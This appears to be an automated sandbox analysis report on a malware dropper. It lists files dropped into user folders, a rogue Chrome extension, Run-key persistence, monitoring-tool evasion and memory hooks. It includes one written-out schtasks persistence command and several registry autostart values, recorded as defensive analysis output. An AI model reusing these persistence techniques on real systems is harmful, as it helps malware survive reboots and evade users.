Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-rtlsupport-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\45NBK9axc23mjqmbKvmG0NYP.exe	File created: C:\Users\user\AppData\Local\Temp\7zSDDAF.tmp\twain_32.dll	Jump to dropped file
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	File created: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\win32\win32security.pyd	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	File created: C:\Users\user\Documents\SimpleAdobe\EWdN3bvBjxAbF1GyzHE7_p73.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\45NBK9axc23mjqmbKvmG0NYP.exe	File created: C:\Users\user\AppData\Local\Temp\7zSDDAF.tmp\cacls.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\zstandard\backend_c.cp38-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp	File created: C:\Users\user\AppData\Local\Soul Media Player\soulmediaplayer.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\45NBK9axc23mjqmbKvmG0NYP.exe	File created: C:\Users\user\AppData\Local\Temp\7zSDDAF.tmp\atieclxx.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-processenvironment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\TUBbflj40zqtNIEKWH_MWjeG.exe	File created: C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\win32\win32wnet.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\Space_bake[1].exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\MSVCP140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp	File created: C:\Users\user\AppData\Local\Soul Media Player\libeay32.dll (copy)	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	File created: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-crt-process-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\zstandard\_cffi.cp38-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp	File created: C:\Users\user\AppData\Local\Soul Media Player\is-TIE2M.tmp	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\Pythonwin\mfc140u.dll	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\btswgej	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-synch-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-crt-runtime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-errorhandling-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\psutil\_psutil_windows.pyd	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-crt-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\VCRUNTIME140_1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\Default16_team[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\060[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\cad54ba5b01423b1af8ec10ab5719d97[1].exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\win32\win32net.pyd	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\45NBK9axc23mjqmbKvmG0NYP.exe	File created: C:\Users\user\AppData\Local\Temp\7zSDDAF.tmp\BdeUISrv.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-processthreads-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\_elementtree.pyd	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-file-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\exe\netconn_properties.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp	File created: C:\Users\user\AppData\Local\Temp\is-BMP08.tmp\_isetup\_shfoldr.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-crt-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\libffi-7.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\123p[1].exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe	File created: C:\Users\user\AppData\Local\Temp\SZM3Yb.I	Jump to dropped file
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	File created: C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-profile-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\sqln[1].dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\lumma1504[1].exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\libcrypto-1_1.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-crt-convert-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	File created: C:\Users\user\Documents\SimpleAdobe\70Leo0eE867BJ4vm1aky3Uk3.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\VCRUNTIME140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	File created: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\45NBK9axc23mjqmbKvmG0NYP.exe	File created: C:\Users\user\AppData\Local\Temp\7zSDDAF.tmp\AggregatorHost.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-crt-utility-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-memory-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-handle-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-localization-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-namedpipe-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp	File created: C:\Users\user\AppData\Local\Soul Media Player\libssl-1_1.dll (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	File created: C:\Users\user\Documents\SimpleAdobe\tXlQ3NLbQqxBkFS_TfaDHWX4.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\_queue.pyd	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-interlocked-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-crt-time-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\45NBK9axc23mjqmbKvmG0NYP.exe	File created: C:\Users\user\AppData\Local\Temp\7zSDDAF.tmp\at.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp	File created: C:\Users\user\AppData\Local\Soul Media Player\is-GP76V.tmp	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-crt-multibyte-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\45NBK9axc23mjqmbKvmG0NYP.exe	File created: C:\Users\user\AppData\Local\Temp\7zSDDAF.tmp\Install.exe	Jump to dropped file
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\timeSync[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp	File created: C:\Users\user\AppData\Local\Soul Media Player\is-3VR8O.tmp	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\win32\win32trace.pyd	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\win32\_win32sysloader.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	File created: C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp	File created: C:\Users\user\AppData\Local\Temp\is-BMP08.tmp\_isetup\_RegDLL.tmp	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-util-l1-1-0.dll	Jump to dropped file

Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	File created: C:\ProgramData\MPGPH131\MPGPH131.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	File created: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\bKj5ORDxbqgwdZav4hyONQmM.exe	File created: C:\ProgramData\ndfbaljqaqzm\dckuybanmlgp.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe	File created: C:\Users\user\AppData\Local\Temp\SZM3Yb.I			Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\btswgej			Jump to dropped file

Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ejjnniijcjakoaghpedjpcfkoclplenf
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ejjnniijcjakoaghpedjpcfkoclplenf\3.0_0
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ejjnniijcjakoaghpedjpcfkoclplenf\3.0_0\128.png
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ejjnniijcjakoaghpedjpcfkoclplenf\3.0_0\manifest.json
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ejjnniijcjakoaghpedjpcfkoclplenf\3.0_0\performance.js
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ejjnniijcjakoaghpedjpcfkoclplenf\3.0_0\popup.css
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ejjnniijcjakoaghpedjpcfkoclplenf\3.0_0\popup.html
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ejjnniijcjakoaghpedjpcfkoclplenf\3.0_0\popup.js
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ejjnniijcjakoaghpedjpcfkoclplenf\3.0_0\worker.js
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ejjnniijcjakoaghpedjpcfkoclplenf\3.0_0\_metadata
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ejjnniijcjakoaghpedjpcfkoclplenf\3.0_0\_metadata\verified_contents.json
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Registry value created: HKEY_CURRENT_USER\SOFTWARE\Google\Chrome\PreferenceMACs\Default\extensions.settings

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RageMP131
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c			Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\70Leo0eE867BJ4vm1aky3Uk3.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\70Leo0eE867BJ4vm1aky3Uk3.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\70Leo0eE867BJ4vm1aky3Uk3.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST

Source: C:\Users\user\Desktop\qk9TaBBxh8.exe

Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules

Jump to behavior

Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RageMP131
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RageMP131

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\explorer.exe

File opened: C:\Users\user\AppData\Roaming\btswgej:Zone.Identifier read attributes | delete

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Source: C:\Users\user\Documents\SimpleAdobe\bKj5ORDxbqgwdZav4hyONQmM.exe	Memory written: PID: 3608 base: 7FFDB4590008 value: E9 EB D9 E9 FF
Source: C:\Users\user\Documents\SimpleAdobe\bKj5ORDxbqgwdZav4hyONQmM.exe	Memory written: PID: 3608 base: 7FFDB442D9F0 value: E9 20 26 16 00

Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe

Code function: 7_2_00A21A30 GetModuleHandleA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

7_2_00A21A30

Source: C:\Users\user\Desktop\qk9TaBBxh8.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate

Jump to behavior

Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\EWdN3bvBjxAbF1GyzHE7_p73.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
